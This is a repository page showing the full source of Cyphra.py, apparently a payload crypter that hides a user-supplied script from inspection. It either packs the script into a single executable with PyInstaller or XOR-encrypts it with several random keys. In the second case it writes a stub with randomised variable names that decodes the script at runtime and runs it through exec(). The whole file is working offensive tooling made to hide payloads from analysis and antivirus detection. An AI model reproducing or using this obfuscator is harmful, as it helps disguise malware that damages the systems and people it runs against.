-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCyphra.py
103 lines (86 loc) · 3.85 KB
/
Cyphra.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import random
import string
import secrets
import os
import subprocess
import shutil
banner = """
/$$$$$$ /$$
/$$__ $$ | $$
| $$ \__/ /$$ /$$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$
| $$ | $$ | $$ /$$__ $$| $$__ $$ /$$__ $$|____ $$
| $$ | $$ | $$| $$ \ $$| $$ \ $$| $$ \__/ /$$$$$$$
| $$ $$| $$ | $$| $$ | $$| $$ | $$| $$ /$$__ $$
| $$$$$$/| $$$$$$$| $$$$$$$/| $$ | $$| $$ | $$$$$$$
\______/ \____ $$| $$____/ |__/ |__/|__/ \_______/
/$$ | $$| $$
| $$$$$$/| $$
\______/ |__/
"""
def clear():
os.system('cls' if os.name == 'nt' else 'clear')
def main():
try:
clear()
print(banner + "\n")
file_path = input("\n[+] Path Of The Payload: ")
with open(file_path) as f:
contents = f.read()
except FileNotFoundError:
print("\n[!] File not found.")
return
compile_option = input("\n[+] Do you want to compile the payload into an executable? (yes/no): ").lower()
if compile_option == "yes":
encrypted_filename = random_file()
try:
with open(encrypted_filename, 'w') as f:
f.write(contents)
output_file = open(os.devnull, 'w') if os.name != 'nt' else open('NUL', 'w')
print(f"\n[?] File is being Compiled...")
subprocess.run(['pyinstaller', '--noconfirm', '--onefile', encrypted_filename], stdout=output_file, stderr=output_file)
os.remove(encrypted_filename)
os.remove(f"{encrypted_filename[:-3]}.spec")
shutil.rmtree('build')
print(f"\n[+] File Successfully Compiled and Encrypted in /dist/{encrypted_filename[:-3]}.exe.")
except Exception as e:
print("\n[!] Failed to compile the payload.")
print(f"Error: {e}")
elif compile_option == "no":
num_keys = random.randint(2, 5)
keys = [random_key(len(contents)) for _ in range(num_keys)]
var_name = [random_var() for _ in range(6)]
encrypted_filename = random_file()
output_string = contents
for key in keys:
output_string = "".join(chr(ord(s) ^ ord(k)) for s, k in zip(output_string, key))
try:
with open(encrypted_filename, 'w') as f:
f.write(f'{var_name[1]} = ' + repr(output_string) + '\n')
f.write(f'{var_name[2]} = ' + repr(keys) + '\n')
f.write(
f'{var_name[3]} = len({var_name[1]})\n'
f'{var_name[4]} = {var_name[1]}\n'
f'for {var_name[5]} in {var_name[2]}:\n'
f' {var_name[4]} = "".join(chr(ord(s) ^ ord(k)) for s, k in zip({var_name[4]}, {var_name[5]}))\n'
'\n'
f'exec({var_name[4]})'
)
except FileNotFoundError:
print("\n[!] Failed to create encrypted file.")
return
print(f"\n[+] File Successfully Encrypted as '{encrypted_filename}'.")
else:
print("\n[!] Invalid input. Please enter 'yes' or 'no'.")
return
def random_key(length):
characters = string.ascii_letters + string.digits + string.punctuation
return ''.join(secrets.choice(characters) for _ in range(length))
def random_var(length=8):
characters = string.ascii_letters
return ''.join(secrets.choice(characters) for _ in range(length))
def random_file():
length = 10
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(length)) + '.py'
if __name__ == "__main__":
main()